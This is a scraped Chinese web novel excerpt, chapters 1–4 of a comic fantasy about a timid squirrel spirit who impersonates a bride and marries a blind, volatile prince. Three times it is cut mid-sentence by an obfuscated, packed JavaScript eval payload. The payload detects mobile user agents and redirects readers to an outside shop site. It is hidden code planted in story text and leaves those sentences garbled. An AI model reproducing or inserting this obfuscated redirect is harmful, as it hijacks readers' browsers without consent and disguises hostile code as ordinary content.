《王妃她胆小如鼠》 1. 第1章 暮色降临,红烛摇曳。 安王府中处处都是一派喜庆。 守在喜房门外的两个婢女却愁眉不展。 她们王爷天生目不能视,脾气也是京中出了名的暴虐无常,也不知道新王妃能不能应付得来…… 刚想到此处,就听屋里传来一声响亮的巴掌声。 “啪——” 伴随着撞翻桌椅产生的噼里啪啦一连串声响,院中所有下人都头皮一麻。 坏了!王爷又发癫了! “王爷!王爷息怒啊——” 众人蜂拥进入屋内,声音戛然而止。 只见满地狼藉中跌坐在墙边的不是预想中的王妃,而是他们的王爷薛言辞。 墙上多了一个肉眼可见的圆圆的凹坑,他们家暴虐的王爷正痛苦的捂着额头,指间隐约可见血迹斑斑。 众人倒吸一口气,旋即一拥而上。 “王爷!王爷您怎么了?” “发生了什么?是否有贼人闯入?” “王妃呢?王妃怎么失踪了?难道是有人来抢亲?” “来人呐!有人强抢王妃,全府戒备!” 众人乱七八糟的围着薛言辞,一个婢女忽然余光中闪过什么,好奇地抬头望向墙角。 一抹红色隐藏在黑暗里,隐约可见是鲜红的嫁衣。 一个人影正双手双脚撑在墙上,后背紧紧贴着天花板,头上的红盖头还在来回摇摆。 婢女瞳孔骤缩,噗通一声坐在了地上。 “鬼鬼鬼……有鬼啊!!!!” …… 要说金敏一只妖怪为何会嫁入安王府,这还得从三日前说起。 金敏出身云外山,是受山神点化的正统松鼠妖,也是云外山的最后一只妖—— 为什么说是最后一只? 因为她每每向妖介绍自己来自云外山,都会得到一句:“啊?云外山居然还有妖吗?” 自从八百年前上一任山神陨落之后,云外山失去了结界庇护。所有小妖不得已四散人间,另寻栖身之所。 这其中就包括法力弱胆子又小的金敏。 那时候人类最盛行的职业就是除妖师,尤其七百多年前,除妖师比妖都多。 好在金敏体型小,身段灵活,能在人妖大战中精准找到空隙——跑路。 秉承着能躲则躲的原则,倒也活得不错。 慢慢地,竟也从无名鼠辈混到了个长者资历。 可是年纪大了,不见得胆子会跟着变大。 她日日钻在深山老林里、没有人也没有妖的地方,找些野果喝点露水,然后三天打鱼两天晒网的修炼。 即使已经苟成了这样,也偶尔会出点岔子。 二十年前她正在秘密基地活动筋骨,回忆起不知多少年前偷看过某个人类打拳的姿态,也跟着出了一拳。 法力带起的劲风传出三里地,直接掀翻了一辆过路的马车,里面还有个中年男人。 她简直要吓死了。 误伤了人类,轻则有损功德,重则直接找除妖师来追杀她! 虽然现在除妖师已经寥寥无几……但是万一呢? 万一就那么一两个有资历的,就被这人类找到了,就要对她不死不休呢? 她不敢轻举妄动,只能化为原型,大老远的观望。 马车里的男人似乎是伤了腿,鲜血淋漓的十分吓人。 而且看装束,不像是低等人类,他衣服都能反光! 金敏小脑瓜飞速旋转,好在活了这么多年总归有些长进,她当即甩出信物——一颗松塔,故作高深的说:“今日练功误伤小友,是老夫的错。特给予信物,若日后小友有何困难,尽可拿信物来此处寻我。” 说完见那男人面色有所缓和,似乎没有继续追究的意思,才赶紧离开。 结果就在三日前,一个妙龄少女拿着松塔找来了。 她说二十年前那个男人是她外公,如今外公去世,这信物便到了她手里。 她所求只有一件事,就是不要嫁给安王。 金敏想了想,隔着大老远喊话:“那我想办法帮你搅黄了这桩亲事?” “万万不可!”那女子面露焦急,“我裴家日渐没落,必须有一个王妃的身份,所以这桩亲事不能退!” 又不能退亲,又不想嫁。 金敏思来想去,只能自己变作那女人的样子,打算拜了堂就死遁。 但是她忽略了最最要命的一点…… 王府里怎么这么多人啊!!! 她恐人啊!!! 此时她正四脚拉叉的撑在天花板墙脚,隔着盖头感受着下面密集的人头,头皮一阵一阵发麻。 本想趁着没人注意到她,偷偷摸摸溜出去,谁知道好死不死有一个人抬头看到,发出一声尖叫。 本来她脑子里那根线就紧绷得不行,被尖锐的声音一刺激,没忍住跟着同频共振。 “人啊!!!!” 屋里顿时乱成一锅粥,后面的婢女要来扶那个“见鬼”的婢女,又被“鬼”吓一跳扑成一团。 再后面的小厮想看看怎么回事,又被哗哩哗啦的绊倒。 金红色的身影在人群头顶乱窜,刚窜到门口正好撞上两个拎着刀冲进来的护卫,又迅速闪退。 无人在意的角落,薛言辞好不容易自己扶着墙站起来,额头就再遭重击。 是盖着盖头的新娘子撞上来了。 “砰——” 他还没站稳的身子被这么一撞,又直直的躺了下去。 遮挡在眼前模糊的云团此时也完全散开,一张全然陌生的面容径直撞入他的视线。 少女的小脸莹白似玉,睫羽颤得厉害,一双杏眼睁得圆圆的,满是惊慌的看着他。 朱红绣金的盖头半掉不掉的挂在她发间凤冠上,撑在他胸前的手也在微微发抖。 薛言辞脑子里莫名地浮现出一个念头。 这裴家小姐……和传闻中好像不太一样。 不过他现在最该震惊的不是新娘子的怪异举动,而是他的眼睛似乎……好了? 脑子里嗡嗡作响,他恍惚的转头,看向这个他生活了二十年却依旧陌生的世界。 烛火荧荧,透过雕花窗棂依稀可见外面走廊的花灯。视线慢慢右移,是一张一张陌生又熟悉的脸。 他们都是服侍在身边多年的人。 分明是第一次看见他们的脸,此刻薛言辞却神奇的能将他们一一和名字对上号。 视线最后落在新娘的肩膀处。 薛言辞眉头一皱。 这金色的、巨大的、毛茸茸的……是尾巴? 尾巴?! 纵使一出生就失明,他也能看出这尾巴绝对有问题! 别人都没有,怎么就她有? 他迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101516|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速将压在身上的女子推开,难得惊惧的往后蹭了好几下。 众人赶紧去扶他,还有人在心里犯嘀咕,要搁以前王爷早就要大怒了,定要叫嚷着把王妃拉出去砍了。 怎么今儿脾气这么好?被打成这样都不吭声? 不吭声也就算了,怎么还一幅很害怕的样子? 刚想到这,就听薛言辞怒喝一声:“来人!把这个冲撞本王的女人抓起来,吊到树上去!没有本王的命令,谁都不准把她放下来!” 金敏此时像是被吓傻了一样,被人按住肩膀还在呆呆的盯着薛言辞的脸。 确切的说,是在盯着他的额头。 眉心处,她能看到一抹银色的鸢尾印记若隐若现。 那印记的形状即使过了千年,也依旧烙印在心头,一刻都不曾忘记过。 “镜……眠?” 这个名字已经尘封太久,再次提及,生涩的像是错觉。 所以面前这个男人……是山神镜眠的转世吗? 金敏努力地睁大眼睛,想要再看得清楚一些。 奈何不知是不是因为孤身太久,忽然见到故乡曾经的神祇,心绪收到冲撞,导致眼泪没完没了的往下掉。 浑浑噩噩的被两个护卫押着转身,走出屋门,肩膀上按着的手不知何时松开了,换成两个婢女扶着她。 因为心境或许混乱,她甚至没有意识到她已经被人包围了。 她眨眨眼,面前出现了一方绣帕。 还没反应过来这是什么情况,就见前方不远处两个护卫麻溜的把绳索绑在沙袋上,嘿咻嘿咻的将沙袋吊到树上去。 一个小厮站在薛言辞身旁,气势汹汹的指着树上的沙袋:“竟敢冲撞王爷?就算你是王妃也不行!王爷大发慈悲没直接杀了你,都算是给裴公面子!” 轻车熟路,一气呵成,一看就是平时这种事没少干。 金敏此时已经调整好了情绪,僵硬的把胳膊从婢女怀里抽出来,小心翼翼地开口:“这是……” 婢女吓得赶紧来捂她的嘴,用口型简单解释:“王爷只是一时生气,做做样子等他消气了就没事了。” 金敏:“……” 她又悄悄后退一步离人群远了些,目光复杂的看向薛言辞。 他生得极白,是久不见日的瓷白,衬得那对银色瞳孔愈发扎眼。 此时他那双好看的眸子正挨个从院中仆从脸上扫过,无半分焦点,却像是能看穿所有人的作为,蓄满了戾色。 像镜眠,好像又不像。 镜眠不会有这样暴戾的神色,也从不会有这么强的压迫感。 他好像永远都温和、友善,眸子里从来只有包容和悯爱。 为何转世后的镜眠会变成现在这个样子? 院子里诡异的安静了一秒。 离薛言辞最近的那个小厮后背莫名地起了一层鸡皮疙瘩。 他打了个哆嗦,颤巍巍的回头,正好对上那没有焦距的眼神。 “王……王爷?”他壮着胆子问,“您这是怎么了?” 薛言辞突然笑了。 本来还想告诉他们,他眼睛已经恢复的好消息。 现在他倒想看看,这群人平时都是怎么应付他的! 他抬手,指尖快速在院子里扫了一圈,将所有人一个不落的指了个遍。 “你你还有你……统统给本王拉下去砍了!” 2. 第2章 院中几人闻言先是愣了一下,然后哭天抢地的、你拉我我拽你的,边求饶边朝外跑。 离金敏近的那个婢女还不忘给她做口型提醒她不要说话,她现在应该在树上挂着呢。 等他们乌泱泱的出去,院子里就只剩下两个人。 金敏有些尴尬的看了看树上挂着的沙袋,再看看薛言辞那张铁青的脸。 犹豫片刻,面对着镜眠的转世,她还是过不去心里那道坎去骗他。 正要开口,一道声音凑个身后传来,言辞十分犀利。 “嘿,瞧见没有,这瞎子又开始发癫了。” 金敏吓了一跳,马上回头看过去,原来是她身后那棵老榆树。 她挠挠头,顾忌身后还有人,用人类听不到的声音小声问:“他……以前经常这样吗?” 老榆树不屑的“嗯哼”一声。 另一边花盆里的芍药花继续道:“一会儿要砍这个,一会儿要杀那个的,王府里多少人啊能让他这么杀?” 水池里的乌龟说话还带着点口音:“也就素仗着自己素个王爷喽……嗯?还瞪我?看得见吗你就瞪。” 后半句是对着薛言辞说的。 此时的薛言辞袖中双拳紧紧攥着,惊诧又愕然的看向那几个说话的“东西”。 对,就是这些熟悉的声音。 成日萦绕在他耳边,字字扎心,不绝如缕! 怪不得他每每让人把“他们”拖下去乱棍打死,没过多久就又会出现。 原来这些声音根本就不是人发出来的! 这时候他看到他那个新王妃嘴巴不动,却传出了声音:“你们这么说人家……不太好吧。” 乌龟:“没素,反正他也听不见。” 芍药:“每天无聊死了,最大的乐趣就是看这瞎子发癫,还不让说了?” 老榆树:“哼哼,你好歹还能被搬着动一动,看看我呢?半寸都动不了。” 从脚下又传来一群短促密集的声音:“让让让让让让让让让让……” 薛言辞一低头,只见一排蚂蚁走到了他脚边,正不耐烦的催他让让。 薛言辞:“……” 连蚂蚁都来欺负他! 他愤愤抬起脚,阴影落在蚂蚁的上头,将它们的身影完全笼罩在内。 最后却还是往后退了一步。 算了,今日发生的事情太多。眼睛毫无征兆的复明、新王妃是个异类、院子里的花草动物会说话。 每一桩说出去都会被人怀疑脑子是不是坏掉了。 他需要安静一会儿,好好理一下乱作一团的思绪。 想到这,他快速回了屋内,“砰”的关上了门。 外面那几个欠揍的声音还在继续。 “呦呦呦,不用人扶着自己就能回屋了?” “还想看他摔一跤呢,真可惜。” 薛言辞气得摔了个花瓶,死死捂住耳朵,才勉强换得一丝清净。 金敏听到屋里的动静,不由得有些担心。 本来她的计划是拜完堂就走的,但如今发现了安王是镜眠的转世,她就忍不住的想要多关心一下。 原因无他,千年前若是没有镜眠的点化,她可能永远都是一只普普通通的小松鼠,在林间生活个十几年然后死去。 后来又在云外山受到镜眠两百年的庇护,无忧无虑的修炼,可以说没有镜眠就没有她的今日。 现在镜眠的转世过得这样不好,于情于理,她都不能装作没看到。 金敏在内心打定主意,暂时留在安王府一段时间,最起码等到想办法治好安王的眼睛再说。 王府的夜晚安安静静,只有红灯彩绸在轻轻地随风摇曳。 金敏坐在院子里的石桌上,望着薛言辞的屋门,看了一夜。 …… 第二天一早,安王和新王妃要进宫谢恩。 金敏别别扭扭的被两个婢女梳妆打扮。 这两人一个叫纸黛一个叫青砚,以前都是王爷的近侍。 伺候薛言辞换衣服的两个小厮分别是玄笔和丹墨,他们四个是一起进府的,名字从“笔墨纸砚”。 都是安王府的老人了,纸黛和青砚的手脚很是麻利,不过半个时辰就给她捯饬的像模像样。 看着镜子里陌生的脸,金敏还是不太习惯。 她现在冒充的这个姑娘面若桃花,生得一副浓丽眉眼,眼尾微微上挑,眉宇间漾着若隐若现的媚态,勾魂却不过于艳俗。 好看是好看的,但是她不习惯,怎么看怎么别扭。 今日的薛言辞倒是安静得很,从更衣出门到宫门口,一路沉默不语。 车厢里气压很低,外面驾车的玄笔后背挺得倍儿直。 王爷今日心情不太对,他们还是少说话为妙。 不过这样的气氛金敏倒是很享受。 马车足够宽大她可以离薛言辞远远的,还不会跟她说话,简直再好不过。 马车经过查验后进入皇宫,穿过一道道宫门后终于停下。 下了马车,金敏跟在薛言辞身后,低着头小碎步往前挪。 余光中忽然出现了一抹挺拔的背影,她不自觉地被吸引看过去,只见殿前跪着的是一个女子。 她一身黑衣劲装,体态丰键,不似京中闺女一般弱柳扶风蒲柳之姿,墨发全束于头顶,英姿利落。 虽然此时跪着,但却让人觉得比许多站着的人都更有傲骨。 金敏好奇的多看了一眼,那人好像能察觉到她的目光似的,骤然转头看过来。 两道视线相撞,吓得金敏无意识的后退半步,赶紧错开目光,一颗心砰砰砰乱跳。 人! 而且还是很厉害的人! 居然直视她了! 一般情况下,下一秒可能就要来打她了! 那女子眼神如鹰,直勾勾的盯着垂头躲闪的金敏,嘴角闪过一丝嘲讽。 装什么柔弱?儿时欺负她的时候,不是很厉害吗? 现在凭借着恩情作为要挟嫁给安王,开始改走柔弱小白花路线了?想要以此讨得安王欢心? 她在边境,刚听闻安王要娶妻的消息,就快马加鞭往京城赶。 中途跑死了三匹马,人也是几乎三日水米未进,可还是晚了一步。 她眼睁睁看着安王府大门关闭,挡住满院绯红。 挡住那个……藏在心底十年的身影。 皇帝身旁的吴公公自殿内踱步而出,给出最后宣判。 “飞鸾将军李执微,身负镇守边关要职,私自离营回京。念及关山之战有功,免其死罪,杖责二十,革职待命。” 李执微重重叩首:“谢陛下隆恩。” 两个内侍拿着碗口粗的木杖,一下一下打在她后背。 女子面不改色,硬是一声都没吭。 薛言辞自始至终目光都没有朝这边看过,按理说这边动静这么大,他就算目不能视,也该好奇一下究竟发生了什么。 但是他神色始终淡淡的,连问都没问一句,好像什么都没听到。 金敏紧紧抿着唇,紧张的快要把袖子拽出一个洞。 为什么人类这么奇怪,明明那么强的一个人,竟然毫不反抗,任由人打? 此时另有一道声音传来,是殿旁的两棵竹子。 “哎,李将军为爱千里奔袭,结果落得如此下场,惨的呦。” “她一片痴心扑在安王身上,现在都被打成这样了,安王也没多关心她一句,啧。” “世间多是痴情女子负心汉啊……” 金敏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101517|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余光偷偷看了一眼李执微,那边行刑已经完毕,她后背一片血迹,正艰难的从地上站起来准备离开。 两棵竹子还在叽叽喳喳的骂安王冷血无情只闻新人笑不见旧人哭,又一道声音插话进来:“我倒不这么觉得。” 金敏顺着声音看过去,是殿旁的一棵百年老柏树。 老柏树轻咳一声,声音很是权威:“依老夫看,这安王此时正经历着剜心之痛,却又不能表现出半分,只能装作视而不见。” “何以见得?”竹子显然不服。 “老夫且问你,安王以前在这见到受刑的朝臣,是不是都会问上两句?怎么偏偏今日就完全不闻不问?这平日里都做的事,今日突然不做了,就是反常,反常则是心中有愧。” 两竹子恍然大悟:“原来如此,受教了!” 金敏也如拨云见日,不自觉地插了句:“原来是这样。” 怪不得从昨日拜堂到现在,她都能察觉到薛言辞的情绪不佳。 原来是没娶到心爱的姑娘。 她所冒充的裴家女不愿嫁,安王不愿娶,却还是凤冠霞帔十里红妆,喜庆的办完了婚礼。 人类真是奇怪的生物。 “嗯?” 老柏树敏锐的注意到这陌生的声音:“谁?刚才是谁在说话?” 金敏赶紧低头闭嘴,如果不是特殊情况,她还是不太想和陌生生灵有所交集。 老柏树扫视一圈没找到声音的来源,才喃喃说了句:“难道是老夫年纪太大了,产生幻觉了?” 薛言辞慢慢转头,看向身后鹌鹑一样缩着不说话的金敏,眼底若有所思。 直到今日,他才知道自己平时在皇兄的乾元殿听到的那些声音来自何处。 原来根本就不是那些所谓的“妄议主子”的刁奴。 还有这个新王妃,他昨夜已经看过他迎娶的裴家小女裴千霜的画像,和此女容貌天差地别,根本就不是同一个人,可是周围婢女小厮似乎一个都没发现问题。 脸上的巴掌印还在隐隐作痛,他万般不愿回想起昨日发生的事。 本来他都已经说服自己,以后和裴千霜井水不犯河水,这桩婚事权当是给裴公的外孙女一个安身之所,让裴公在天之灵得以安息。 裴公生前最疼爱小女儿裴冉,可裴冉所嫁非人,在婆家备受磋磨。裴公亲自上门替女儿主持公道,让二人和离,将身怀六甲的女儿接回裴家。 后来裴冉难产而亡,只留下一个女儿裴千霜。裴公痛失爱女,就将所有的遗憾和愧疚全都弥补给了外孙女裴千霜。 病重自知时日无多,还不忘以当年救驾之恩替裴千霜讨来了这门婚事,就怕他这个靠山没了,千霜会被几个舅舅欺负。 裴公在朝多年为国尽忠,他作为皇族理当优待裴公的外孙女。 反正他是个废人,什么都做不了,也就这种事能用得上他。 昨夜他便想和裴千霜好好聊聊,告诉她不必为以后忧心,他自会保她一世安稳富贵。 可他刚摸索着碰到这女人的红盖头,就被一巴掌打飞了。 王妃在他眼皮子底下被换,变成这个力大无穷又万分诡异的女人。 简直是奇耻大辱,把他安王的脸面放在脚底下踩。 他倒要看看,究竟是谁有这么大的能耐,偷天换日指鹿为马! “王爷。” 思绪被吴公公的声音拉回来。 “陛下在殿中等您和王妃一同进去。” “好。”他恨恨一咬牙,还是决定先不把眼睛恢复的事告诉皇兄。 虽说他们兄弟二人一母同胞自小感情甚笃,但毕竟生在皇家,有些事情能说有些不能。 现在发生在他身上的事过于诡异,他要先摸清楚具体状况,再作决定。 3. 第3章 进了殿内,金敏才第一次瞧见一国之主薛燃的样貌。 男人约莫二十五六的年纪,体态健硕,满面英气,眉宇间和薛言辞有三分相像。 不似她想象中的,老态龙钟的白胡子老头样子。 薛燃和他们二人简单寒暄了几句,薛言辞就寻了个接口把金敏打发出去。 等人的背影完全消失,他才旁敲侧击的问:“皇兄,你以前可有见过裴千霜此人?” 薛燃笑道:“裴公的宝贝疙瘩,朕自然是见过的。” “那皇兄可有觉得她……有什么变化?” “变化?” 薛燃神情微微一怔,不知道弟弟这话是什么意思。 他仔细回想着刚才见到的,王妃装扮的女子。 “要说变化嘛……那确实是有的。”薛燃捏着下巴,渐渐严肃起来。 薛言辞当即有些紧张:“什么变化?” 薛燃瞥他一眼,也不再逗他,哈哈一笑:“成了亲,自然就端庄持重了,不再是之前那个骄纵的大小姐样子。” 说到这,薛燃神色又不自觉地淡了些,目光移向窗外,看向方才李执微离开的方向。 “说到成亲,阿辞,皇兄这就得说说你了。你与李卿若是两情相悦,为何不早些告诉皇兄?现在弄成这样,生生拆了一对有情人,叫朕这心里也不好受。” 薛燃少年登基,将国家治理得很好,自然不是个傻子。 知道李执微千里迢迢私自回京,没带随从没调兵马,入城直奔安王府,在门外生生站了一夜,薛燃这心里就大概明白是怎么回事了。 怪不得当日同阿辞提起和裴家的婚事时,他面上似有挣扎之色。 原来是早就心有所属。 守边将领擅离职守可是死罪,李家满门忠臣为国鞠躬尽瘁,他哪能真砍了李执微的脑袋? 本来睁只眼闭只眼,只要李执微不说,伤心过后偷偷摸摸自己回去也就罢了。 谁知今天一大早这个死心眼的女人就自己进宫请罪来了。 现在搞得他罚也不是,不罚也不是,只能找些理由先从轻处置。 薛言辞有些头痛的按了按太阳穴,无奈开口:“皇兄误会了,臣弟和李将军从未有过私下的往来。” “好了,朕明白。”薛燃做了个心照不宣的动作,伸出一根手指摇了摇:“你现在既然已经成亲,这些事再提也没有意义。” 薛言辞张了张嘴,最终还是叹了口气。 罢了,皇兄爱怎么想就怎么想吧,反正现在他已然成婚,李执微应当也会慢慢放下执念了。 他现在更头疼的是另外一件事。 他这个新王妃,在他眼里和其他人眼里似乎并不是同一个样子。 周围的婢女小厮说裴千霜没问题,和画像对得上,可能是被集体收买。 但是皇兄也说裴千霜没问题,那就有问题了。 他到底娶了个什么玩意儿进府啊? …… 傍晚时分,两人坐在桌边吃晚饭。 金敏看着一大桌子的山珍海味,小脸皱巴巴的。 葫芦鸭、香鹿脯、小野雀,都是肉类。她能吃的满共就一道素蒸十锦,还在桌子另一头,她够不着。 虽说有些同类会吃些幼虫或者动物幼崽,但是她是从来不吃的,怕有损功德。 她不敢靠近人类,也不想和同类接触。经历的少,修行进度就缓慢,所以一点一滴都很重要,不能浪费在口腹之欲上。 她偷偷瞄了一眼坐在旁边的薛言辞,想了想,抱起她的饭碗蹑手蹑脚绕着桌子转了半圈,坐在那道素蒸十锦前。 薛言辞面色淡淡,好像全然没注意到她的动静似的。 今日他特意没让人在一旁伺候,就是想给这冒牌王妃一个下手的好机会。 果不其然,她已经作出了第一步动作——离他更近了些。 接下来要做什么?刺杀还是投毒? 薛言辞缓缓执筷,暗中观察女子的动静。 金敏早就饿得不行,连抄好几筷子菜,开始自顾自的吃饭。 薛言辞眼底逐渐露出一丝了然。 只吃那一道菜,想必是把毒下在了其他菜里。 如此拙劣的伎俩,也就是欺负他看不见罢了。 一股无名火涌上心头,隐隐有一种自己被轻视侮辱了的感觉。 薛言辞“啪”的把筷子往桌面一拍:“入府之前没有人教过你规矩吗?” 金敏吓了一跳,呆呆地咬着筷尖看向身旁男人,懵懂的咬了摇头。 当时那个姑娘只是说请她帮忙应付这桩婚事,也没说要学规矩的呀? 薛言辞微微眯眼:“本王用膳时,王妃需在一旁布菜,这都不知道吗?” 金敏思索片刻,大概知道安王这意思是让她给他夹菜。 她默默放下自己的碗筷,伸手去拿薛言辞的筷子,小心翼翼给他夹了一片葫芦鸭。 下一秒薛言辞面色一沉,一拂袖将桌上的饭菜一股脑儿拂到了地上。 “用这种东西来敷衍本王?来人!把厨房所有人拉出去全都砍了!” 两个小厮冲进来,一看这情况就悟了。 王爷又不高兴了。 陛下吩咐过,王爷的所有膳食都是他们亲自盯着做的,都是王爷爱吃的菜。 像这样掀桌怒吼要砍人的情况,隔个三两天就得发生一次。 众人轻车熟路,分工明确。 两个侍卫去厨房拉来一个厨子,厨子哭天抢地喊几句王爷饶命,然后侍卫大剌剌抽刀一刀砍在沙袋上,一场戏就算演完了,大家各回各位。 金敏已经见怪不怪,她现在所有的注意力都在地上。那盘素蒸十锦撒了一半,还有一半在金盏里半掉不掉的。 手里的筷子拿的是薛言辞的,不过这个时候她也顾不上那么多,自顾自的蹲下就要去抢救那半盘菜。 然而筷尖还没碰到菜,就被一只脚直接踢飞了出去。 “啊——” 金敏吃痛,赶紧收回手,边揉边抬头看向可恶的男人。 眼睛看不见,踢人倒是挺准。 纸黛和青砚进来收拾,看见王妃在地上蹲着,赶紧冲过来扶她。 “王妃您没伤着吧?这里交给奴婢处理,您先去换换衣裳。” 金敏摇头:“我衣裳不脏。” 纸黛噎了一下,大概是没想到这王妃这么实诚,没听明白她们是想让她先避避王爷怒火上头的风头,只好道:“那您先去那边软榻坐会儿,这里脏,容奴婢们先收拾干净。” 金敏看着地上的饭菜,觉得十分可惜。趁着纸黛和青砚忙活的空荡,眼疾手快的捡了一块不知道是什么做的糕,吹吹就要往嘴里放。 “哎,王妃!” 青砚双眼一下子瞪得溜圆,像是看到王妃服毒一样,冲上来就抢她手里的糕。 “这东西落了地,脏的很,吃不得啊!” “落地怎么就脏了。”金敏微微一皱眉,很真诚的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101518|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口:“我以前就经常在地上捡着吃呀,不会有问题的。” 这话说得不假,她不喜欢爬高,会被鹰类当成攻击目标,所以更喜欢在树下捡浆果吃。 尤其熟透了的、自然掉落的果子,甜丝丝的特别好吃。 有时候气候不好她囤不到粮食,也会跟在其他动物身后捡它们不要的东西,有很大几率能捡到味道不错的坚果。 纸黛和青砚听到她这话,不自觉地停下了手中收拾的动作。 “王妃您……刚才说什么?” 王妃可是裴公最疼爱的外孙女,这件事京城上下皆知。虽说现在裴公逝去,裴家没落,但也不至于让家里的姑娘去……吃地上的饭食吧? 薛言辞眼神微微一动,出言止住纸黛后面的话。 “够了,你们好好收拾。王妃,过来陪本王练箭。” 纸黛和青砚一听,齐刷刷向金敏投去同情的目光。 王妃啊,您自求多福吧。 薛言辞一如往常般伸开右手,示意金敏来扶他。 金敏好奇的上下打量他一眼,一时还没反应过来他要做什么,被强势剜了一眼后脑筋才转过来弯,犹豫着伸出自己的胳膊给他做支撑。 薛言辞右手搭在金敏的左小臂上,隔着衣衫隐约能感受到她的体温。 这姑娘……也太瘦了吧。 薛言辞如是想。 刚才她说什么来着?经常捡地上的东西吃? 看来是贫苦出身,甚至可能更惨一些。 一般来说,那些刀尖上讨生活的组织,都喜欢收留这种连饭都吃不上的孩子从小培养,让他们去做要命的任务。 比如那个最大的杀手组织不法天,里面不都是无父无母的孤儿吗? 等下,不法天…… 薛言辞忽然想起不久前得到的消息,不法天十二罗刹已经有一个潜入了京城,不知目的为何。 这不法天曾经就有过对皇族下手的前科,二十年前他出生那夜,不法天就曾派出六名罗刹潜入皇宫刺杀皇后——也就是他的生母,当今太后。 当时他们险些得手,一尸三命。 现在前脚不法天有罗刹进京,后脚他身边就出现了诡异的女人。 难道这二者之间有什么关联? 薛言辞眼底冷光一闪,将压在金敏小臂上的手抬起来了些。 走到院中空旷处,他从侍卫手中接过长弓,又从桌上随手拿起一颗苹果,递给金敏。 “顶在头上,给本王做靶子。” 金敏听话的“哦”了一声,将苹果放在头顶,然后小心翼翼维持着平衡往远处走。 一旁的侍卫:“……” 其实王妃您完全可以走过去再顶苹果的……不对,现在是想这个的时候吗? 王爷拿的可是真箭啊! 薛言辞看着女子颤巍巍的背影,眼底闪过一丝狠戾。 和不法天有没有关系,一试便知。 他迅速抬手拉弓,在周围众人还没反应过来的时候,一支箭“嗖”的射出,直冲女子背心。 金敏能苟活千年,靠的就是身形的灵敏程度,闭上眼一个旋身对着箭矢挥出一爪。 “锵——” 一旁的侍卫只觉得眼睛一花,再睁大已然瞧不见箭的踪影。 箭……化成灰了? 此时的金敏正瑟缩的缩成一团,眼神惊恐的看向她刚才不小心挥出法力的方向。 她她她……好像似乎……又打到人了? 4. 第4章 趁着众人还在发呆的空档,金敏脚底抹油,一溜烟儿的消失在原地。 顺着感觉跑到疑似击中人的地方,然后心里咯噔一声。 果然,院子的草丛里静静地趴着一个男人。 一身黑衣,一动不动。 金敏痛苦的后退一步,连续深吸好几口气才壮着胆子靠近。 “人,你还好吗?” 人没有反应,身体似乎也没有正常的起伏。 金敏硬着头皮把人翻过来,扯掉覆盖在脸上的面具,颤巍巍的去探鼻息。 坏了,没有呼吸了! 再把手掌贴在男人胸口仔细感知一番,倒还有微弱的心跳。 还好,有救! 金敏赶紧从怀里摸出她的宝贝乾坤袋,在里面掏了掏,找出一颗空心松塔。 把男人下巴抬起来,嘴巴掰开,她两手握着松塔使劲一挤,两滴晶莹剔透的灵露落入他口中。 做完这些,金敏贼兮兮的环视一圈,见没人瞧见她,直接一手抓住男人领口,拎着他就上了房顶,化为一缕烟,直奔她的屋子。 她作为安王明媒正娶的王妃,虽然不得喜欢,衣食住行还是都安排得很妥当的。 她现在住的就是距离薛言辞住处十万八千里远、犄角旮旯的飞星阁。 或许是因为薛言辞这个主子平时太不正常,府中下人就显得格外团结,毕竟都是过命的交情。 现在新王妃来了,又被王爷这样折腾,他们自然而然把新王妃划到己方阵营。 知道她住在这,看她的眼神都带着同情,时不时就有人来送点温暖。 金敏对于他们的同情十分不解。 甚至有点无福消受。 比如此时门外正有两个婢女来给她送新的被褥,她只能蹲在房顶等人家走了再下去。 明明是回自己屋,平白搞得像做贼。 把男人妥当的安置到软榻上,再探探他的呼吸,已经正常了不少。 金敏这才松了口气。 转身去桌边倒了杯茶,正要压压心慌,一扭头发现榻上没人了。 她呼吸一滞,脑子还没反应过来,身体已经替她作了对策,“噌噌噌”连退三步,手里茶盏连杯带水的飞了出去。 正好落在男人头上,茶叶茶汤挂了他一脑袋。 此时屋中正呈现诡异的场面。 男人举着剑,剑锋正对对面的女子。 金敏躲在柱子后,只露一双圆溜溜的眼睛盯着浑身冒寒气的男人。 “那……那个……”她弱弱地出声,“对不起,不小心伤到你了,你想要什么补偿我都可以给你……” 男人面色不改,心中却暗暗惊诧。 刚才袭击他的那道术法,其速度和力道几乎让他毫无招架之力,居然是出自这女子之手? 是人?能打出这样强的术法,不法天中不可能没有记载她的存在。 是妖?也不像,他用半妖之瞳看不出此女的真身。 安王从哪找来的高人? 要知道不法天可是第一杀手组织,他作为不法天最出色的罗刹,这几年来执行的任务皆是凶险万分,什么样的对手都遇到过。 越是这个时候,他就越冷静,冷静的分析当下局势。 安王专程请来了高人,或许就是为了蹲守他。 